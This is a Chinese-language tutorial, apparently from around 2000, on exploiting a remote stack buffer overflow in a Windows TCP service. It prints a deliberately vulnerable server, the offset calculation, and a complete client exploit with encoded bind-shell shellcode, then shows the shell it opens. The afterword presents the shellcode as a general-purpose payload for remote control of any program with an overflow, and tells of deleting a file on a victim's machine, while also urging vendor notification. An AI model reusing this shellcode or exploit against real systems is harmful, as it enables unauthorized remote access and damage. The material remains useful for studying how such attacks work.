window系统下的远程堆栈溢出 --《实战篇》

作者:ipxodi ([email protected])

 

    下面是一个有问题的internet服务程序:

/****************************************************************************/

/*    server.cpp By Ipxodi    

*/

 

#include

#include

char Buff[1024];

void overflow(char * s,int size)

{

    char s1[50];

    printf("receive %d bytes",size);

    s[size]=0;

    strcpy(s1,s);

}

 

int main()

{

    WSADATA wsa;

    SOCKET listenFD;

    int ret;

    char asd[2048];

 

    WSAStartup(MAKEWORD(2,2),&wsa);

 

    listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

 

    struct sockaddr_in server;

 

    server.sin_family = AF_INET;

    server.sin_port = htons(3764);

    server.sin_addr.s_addr=ADDR_ANY;

    ret=bind(listenFD,(sockaddr *)&server,sizeof(server));

    ret=listen(listenFD,2);

    

    int iAddrSize = sizeof(server);

    SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);

    unsigned long lBytesRead;

    while(1)    {

            lBytesRead=recv(clientFD,Buff,1024,0);

            if(lBytesRead<=0)    break;

 

            overflow(Buff,lBytesRead);

 

            ret=send(clientFD,Buff,lBytesRead,0);

            if(ret<=0)    break;

 

    }

    WSACleanup();

    return 0;

}

/****************************************************************************/

 

函数Overflow有问题,看到了吗?

 

好,现在我们来写溢出攻击程序:

 

1)先算一下溢出(返回)地址应该在哪里?

(:啊?算出?你上次不是用程序试吗?我好不容易才看懂你的算法,这次怎么不用了?

:唉,老兄,上次是没有敌人的原代码,懒得看汇编,才会试,

现在原代码就放在你眼前,你自己算一下不就出来了?)

 

下面是溢出时刻堆栈布局:

内存底部                               内存顶部

           buffer       EBP    ret   

<------   [NNNNNNNNNNN][N   ] [A   ]SSSS

      ^&buffer

堆栈顶部                               堆栈底部        

 

可以看到,buffer我们开的是50,32位系统针对数组进行四位对齐,所以实际缓冲区是

52,加上EBP占去4个字节,就是52+4=56,那么,ret就是第56字节了。

 

2)再看看server里面LoadLibrary和GetProcAddress的地址是什么?

启动wdasm32,加载server.exe

 

:004028EC 68F0014200              push 004201F0

 

* Reference To: KERNEL32.LoadLibraryA, Ord:01C2h

                                  |

:004028F1 FF15E8614200            Call dword ptr [004261E8]

 

好,KERNEL32.LoadLibraryA(就是LoadLibrary的别名)的入口地址:0x004261E8。

 

:00402911 51                      push ecx

 

* Reference To: KERNEL32.GetProcAddress, Ord:013Eh

                                  |

:00402912 FF15E4614200            Call dword ptr [004261E4]

 

好,KERNEL32.GetProcAddress的入口地址:0x004261E4。

 

这两个地址都有00,我们不能直接在shellcode里面引用,因此采用如下变通方案:

  0xbb,0x99, 0xe8, 0x61, 0x42,   /* mov ebx, 004261E8h;(&LoadLibrary)           */

  0xc1, 0xeb, 0x08,              /* shr ebx, 08                     */

以及

  0xb3, 0xe4,                    /* mov bl, e4    &GetProcAddr      */

 

3)写出client:

/****************************************************************************/

/*    client.cpp By Ipxodi    

*/

 

#include

#include

#define WIN2000

 

#ifdef WIN2000

#define JUMPESP "/x2a/xe3/xe2/x77"

#endif

#ifdef WIN98

#define JUMPESP "/xa3/x95/xf7/xbf"

#endif

 

unsigned char eip[8] = JUMPESP;

unsigned char sploit[580] = {

  0x90, 0x8b, 0xfc,

  0x33, 0xc0, 0x50, 0xf7, 0xd0, 0x50, 0x59, 0xf2, 0xaf, 0x59, 0xb1, 0xc6,

  0x8b, 0xc7, 0x48, 0x80, 0x30, 0x99, 0xe2, 0xfa, 0x33, 0xf6, 0x96, 0xbb,

  0x99, 0xe8, 0x61, 0x42, 0xc1, 0xeb, 0x08, 0x56, 0xff, 0x13, 0x8b, 0xd0,

  0xfc, 0x33, 0xc9, 0xb1, 0x0b, 0x49, 0x32, 0xc0, 0xac, 0x84, 0xc0, 0x75,

  0xf9, 0x52, 0x51, 0x56, 0x52, 0xb3, 0xe4, 0xff, 0x13, 0xab, 0x59, 0x5a,

  0xe2, 0xec, 0x32, 0xc0, 0xac, 0x84, 0xc0, 0x75, 0xf9, 0xb3, 0xe8, 0x56,

  0xff, 0x13, 0x8b, 0xd0, 0xfc, 0x33, 0xc9, 0xb1, 0x06, 0x32, 0xc0, 0xac,

  0x84, 0xc0, 0x75, 0xf9, 0x52, 0x51, 0x56, 0x52, 0xb3, 0xe4, 0xff, 0x13,

  0xab, 0x59, 0x5a, 0xe2, 0xec, 0x83, 0xc6, 0x05, 0x33, 0xc0, 0x50, 0x40,

  0x50, 0x40, 0x50, 0xff, 0x57, 0xe8, 0x93, 0x6a, 0x10, 0x56, 0x53, 0xff,

  0x57, 0xec, 0x6a, 0x02, 0x53, 0xff, 0x57, 0xf0, 0x33, 0xc0, 0x57, 0x50,

  0xb0, 0x0c, 0xab, 0x58, 0xab, 0x40, 0xab, 0x5f, 0x48, 0x50, 0x57, 0x56,

  0xad, 0x56, 0xff, 0x57, 0xc0, 0x48, 0x50, 0x57, 0xad, 0x56, 0xad, 0x56,

  0xff, 0x57, 0xc0, 0x48, 0xb0, 0x44, 0x89, 0x07, 0x57, 0xff, 0x57, 0xc4,

  0x33, 0xc0, 0x8b, 0x46, 0xf4, 0x89, 0x47, 0x3c, 0x89, 0x47, 0x40, 0x8b,

  0x06, 0x89, 0x47, 0x38, 0x33, 0xc0, 0x66, 0xb8, 0x01, 0x01, 0x89, 0x47,

  0x2c, 0x57, 0x57, 0x33, 0xc0, 0x50, 0x50, 0x50, 0x40, 0x50, 0x48, 0x50,

  0x50, 0xad, 0x56, 0x33, 0xc0, 0x50, 0xff, 0x57, 0xc8, 0xff, 0x76, 0xf0,

  0xff, 0x57, 0xcc, 0xff, 0x76, 0xfc, 0xff, 0x57, 0xcc, 0x48, 0x50, 0x50,

  0x53, 0xff, 0x57, 0xf4, 0x8b, 0xd8, 0x33, 0xc0, 0xb4, 0x04, 0x50, 0xc1,

  0xe8, 0x04, 0x50, 0xff, 0x57, 0xd4, 0x8b, 0xf0, 0x33, 0xc0, 0x8b, 0xc8,

  0xb5, 0x04, 0x50, 0x50, 0x57, 0x51, 0x56, 0xff, 0x77, 0xa8, 0xff, 0x57,

  0xd0, 0x83, 0x3f, 0x01, 0x7c, 0x22, 0x33, 0xc0, 0x50, 0x57, 0xff, 0x37,

  0x56, 0xff, 0x77, 0xa8, 0xff, 0x57, 0xdc, 0x0b, 0xc0, 0x74, 0x2f, 0x33,

  0xc0, 0x50, 0xff, 0x37, 0x56, 0x53, 0xff, 0x57, 0xf8, 0x6a, 0x50, 0xff,

  0x57, 0xe0, 0xeb, 0xc8, 0x33, 0xc0, 0x50, 0xb4, 0x04, 0x50, 0x56, 0x53,

  0xff, 0x57, 0xfc, 0x57, 0x33, 0xc9, 0x51, 0x50, 0x56, 0xff, 0x77, 0xac,

  0xff, 0x57, 0xd8, 0x6a, 0x50, 0xff, 0x57, 0xe0, 0xeb, 0xaa, 0x50, 0xff,

  0x57, 0xe4, 0x90, 0xd2, 0xdc, 0xcb, 0xd7, 0xdc, 0xd5, 0xaa, 0xab, 0x99,

  0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde,

  0xfc, 0xed, 0xca, 0xed, 0xf8, 0xeb, 0xed, 0xec, 0xe9, 0xd0, 0xf7, 0xff,

  0xf6, 0xd8, 0x99, 0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xeb, 0xf6,

  0xfa, 0xfc, 0xea, 0xea, 0xd8, 0x99, 0xda, 0xf5, 0xf6, 0xea, 0xfc, 0xd1,

  0xf8, 0xf7, 0xfd, 0xf5, 0xfc, 0x99, 0xc9, 0xfc, 0xfc, 0xf2, 0xd7, 0xf8,

  0xf4, 0xfc, 0xfd, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde, 0xf5, 0xf6, 0xfb,

  0xf8, 0xf5, 0xd8, 0xf5, 0xf5, 0xf6, 0xfa, 0x99, 0xce, 0xeb, 0xf0, 0xed,

  0xfc, 0xdf, 0xf0, 0xf5, 0xfc, 0x99, 0xcb, 0xfc, 0xf8, 0xfd, 0xdf, 0xf0,

  0xf5, 0xfc, 0x99, 0xca, 0xf5, 0xfc, 0xfc, 0xe9, 0x99, 0xdc, 0xe1, 0xf0,

  0xed, 0xc9, 0xeb, 0xf6, 0xfa, 0xfc, 0xea, 0xea, 0x99, 0xce, 0xca, 0xd6,

  0xda, 0xd2, 0xaa, 0xab, 0x99, 0xea, 0xf6, 0xfa, 0xf2, 0xfc, 0xed, 0x99,

  0xfb, 0xf0, 0xf7, 0xfd, 0x99, 0xf5, 0xf0, 0xea, 0xed, 0xfc, 0xf7, 0x99,

  0xf8, 0xfa, 0xfa, 0xfc, 0xe9, 0xed, 0x99, 0xea, 0xfc, 0xf7, 0xfd, 0x99,

  0xeb, 0xfc, 0xfa, 0xef, 0x99, 0x9b, 0x99,

  0x4b, 0x9d, //port=53764

  0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,

  0xfa, 0xf4, 0xfd, 0xb7, 0xfc, 0xe1, 0xfc, 0x99, 0xff, 0xff, 0xff, 0xff,

  0x0d, 0x0a};

int main()

{

    WSADATA wsa;

    SOCKET sockFD;

    char Buff[1024],*sBO;

 

    WSAStartup(MAKEWORD(2,2),&wsa);

 

    sockFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

 

    struct sockaddr_in server;

 

    server.sin_family = AF_INET;

    server.sin_port = htons(3764);

    server.sin_addr.s_addr=inet_addr("127.0.0.1");

 

    connect(sockFD,(struct sockaddr *)&server,sizeof(server));

    for(int i=0;i<56;Buff[i++]=0x90);

    strcpy(Buff+56,(char *)eip);

    strcpy(Buff+60,(char *)sploit);

    sBO = Buff;

    send(sockFD,sBO,56+4+560,0);

 

    closesocket(sockFD);

    WSACleanup();

    return 1;

 

}

/****************************************************************************/

运行server,然后运行client.之后,telnet localhost 53764,看到了什么?

 

Microsoft Windows 2000 [Version 5.00.2195]

(C) 版权所有 1985-1998 Microsoft Corp.

 

D:/MyProjects/server>dir

dir

驱动器 D 中的卷没有标签。

卷的序列号是 3C2F-72BB

 

D:/MyProjects/server 的目录

 

2000-04-26  17:52        

 

          .

2000-04-26  17:52        

          ..

2000-04-25  11:17        

          Debug

2000-04-23  20:23                3,288 server.001

2000-04-25  11:16                  926 server.cpp

2000-04-25  10:33                3,325 server.dsp

2000-04-25  10:33                  535 server.dsw

2000-04-26  17:52               41,984 server.ncb

2000-04-26  17:52               49,664 server.opt

2000-04-25  11:24                  509 server.plg

               7 个文件        100,231 字节

               3 个目录  8,688,173,056 可用字节

 

D:/MyProjects/server>

 

呵呵,大功告成。

 

 

----后记

大家通过钻研,可以知道,这是一个windows下通用的远程溢出shellcode。

使用这个shellcode,稍加改动,我们可以编写出其他的远程溢出程序。

实现对任何已知存在缓冲区溢出问题的程序的远程控制。

 

事实上,为了发现溢出漏洞,你必须深入钻研敌人的程序代码,找到他的

有问题代码。这本身就可以单开一讲来详细阐述。

windows下的Cracker们,你们的破解跟踪技术将在这个领域

得到最大的利用。我估计,在不久的将来,会有很多Cracker,公布一系列

windows缓冲区溢出漏洞。

 

上面所示的,只不过是一个实验用的server程序,事实上,

我们已经完成了Oicq远程溢出程序的实现和IisHack中文NT版的移植。

 

当我telnet victim 53764上敌人的机器,删除了他的autoexec.001时,

真是一切尽在掌握。我心中想的,就是:

windows Nt/2000的远程溢出时代,开始了!我们再也不需要木马了!

 

因为上述程序的攻击性太强,我就不公布原代码了,我希望

如果有人基于我的shellcode写出了远程溢出程序,请先通知软件供应商,

等待patch出来后,再公布你们的溢出程序。

 

因为,发现漏洞的目的,并不是为了破坏,而是为了消除漏洞,提高安全。

 

----参考书目:

0)ipxodi 《window系统下的堆栈溢出》NsfocusMagzine 20003。

1)dark spyrit AKA Barnaby Jack的Phrack Magzine55上的经典文章。

2)Backend的《Windows 2000缓冲区溢出入门》 NsfocusMagzine 20004。

3)《windows网络编程技术》 Anthory Jones,Jim Ohlund.(机械版京京译)

 

----致谢

要致谢的人很多:

dark spyrit,为你的天才和无私,向你致敬。

感谢绿盟的Backend,Yuange,Zer9,为你们的研究成果和给我的无私帮助,

当然还有绿盟的tt,deepin,为你们在攻击实践上给我的帮助。

感谢所有帮助和激励过我的人。

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